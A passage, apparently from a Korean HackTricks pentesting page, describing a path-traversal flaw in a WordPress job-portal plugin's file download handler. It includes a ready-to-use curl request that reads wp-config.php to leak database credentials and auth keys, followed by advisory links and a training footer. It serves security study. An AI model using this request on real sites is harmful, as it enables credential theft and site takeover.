은 공격자가 제어하며 without sanitisation 상태로 연결됩니다. 다시 말해, 유일한 관문은 resume 페이지에서 가져올 수 있는 CSRF nonce입니다.
악용
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
서버가 wp-config.php
의 내용을 반환하여 DB credentials 및 auth keys를 leaking 합니다.
참고자료
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.